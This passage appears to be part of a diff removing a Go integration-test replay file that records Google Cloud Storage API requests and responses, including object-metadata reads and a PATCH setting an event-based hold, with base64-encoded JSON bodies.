zZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvby9zb21lLW9iai9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSmJtaHVqeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvc29tZS1vYmovMTU1NjgzNTkzNzEzNzQzMC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmovYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTM3MTM3NDMwIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvby9zb21lLW9iai9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSmJtaHVqeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Ik01ZUcvQT09IiwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "e7a12fdbeb636933", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0008/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:37 GMT" - ], - "Etag": [ - "CJbmhujx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo-mQ6Bnw1qbAyHbMdumiv5YlTBrFQbHo-9tXn02VufGPTp3_Q8nXXp9VIcdRmzH2CJbhaVLu5fUFYZ6VKgcitBwcE-dCwxWrzaljgyT6zmM7x01ls" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozNy4xMzdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MzcuMTM3WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjM3LjEzN1oiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiZExyZG9WZ2p4bEFBR05hWVgxQm1idz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqP2dlbmVyYXRpb249MTU1NjgzNTkzNzEzNzQzMCZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTM3MTM3NDMwIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvby9zb21lLW9iai9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSmJtaHVqeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvc29tZS1vYmovMTU1NjgzNTkzNzEzNzQzMC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmovYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTM3MTM3NDMwIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvby9zb21lLW9iai9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSmJtaHVqeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Ik01ZUcvQT09IiwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "142eb6c42bc6f90e", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0008/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "84" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJldmVudEJhc2VkSG9sZCI6dHJ1ZX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3215" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:37 GMT" - ], - "Etag": [ - "CJbmhujx/eECEAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrBTG1gAXfMDmjm_clsDlv04E6VRtZUsUKnaVr4bC3AIRXILH2f0UebFf1_SmXPSf6Go8sw7TXti9yO112PAG5QNin3LwaSjRuFDSH_unnMZJwRceM" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsIm1ldGFnZW5lcmF0aW9uIjoiMiIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozNy4xMzdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MzcuODI1WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjM3LjEzN1oiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiZExyZG9WZ2p4bEFBR05hWVgxQm1idz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqP2dlbmVyYXRpb249MTU1NjgzNTkzNzEzNzQzMCZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTM3MTM3NDMwIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvby9zb21lLW9iai9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSmJtaHVqeC9lRUNFQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvc29tZS1vYmovMTU1NjgzNTkzNzEzNzQzMC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmovYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTM3MTM3NDMwIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvby9zb21lLW9iai9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSmJtaHVqeC9lRUNFQUk9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Ik01ZUcvQT09IiwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBST0iLCJldmVudEJhc2VkSG9sZCI6dHJ1ZX0=" - } - }, - { - "ID": "12487e4f20538041", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0008/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3215" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:38 GMT" - ], - "Etag": [ - "CJbmhujx/eECEAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqxyG_OCKjwh7TR9zL9nbOGPP1ttxni9cP68b18nTZ7wZ8WqVE0MAGh1XFphNYZEYr-2kdgNgmqQrOvFiNbg6hJi-RfjCWYg0KHPLKfzyWc-gejszc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsIm1ldGFnZW5lcmF0aW9uIjoiMiIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozNy4xMzdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MzcuODI1WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjM3LjEzN1oiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiZExyZG9WZ2p4bEFBR05hWVgxQm1idz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqP2dlbmVyYXRpb249MTU1NjgzNTkzNzEzNzQzMCZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTM3MTM3NDMwIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvby9zb21lLW9iai9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdC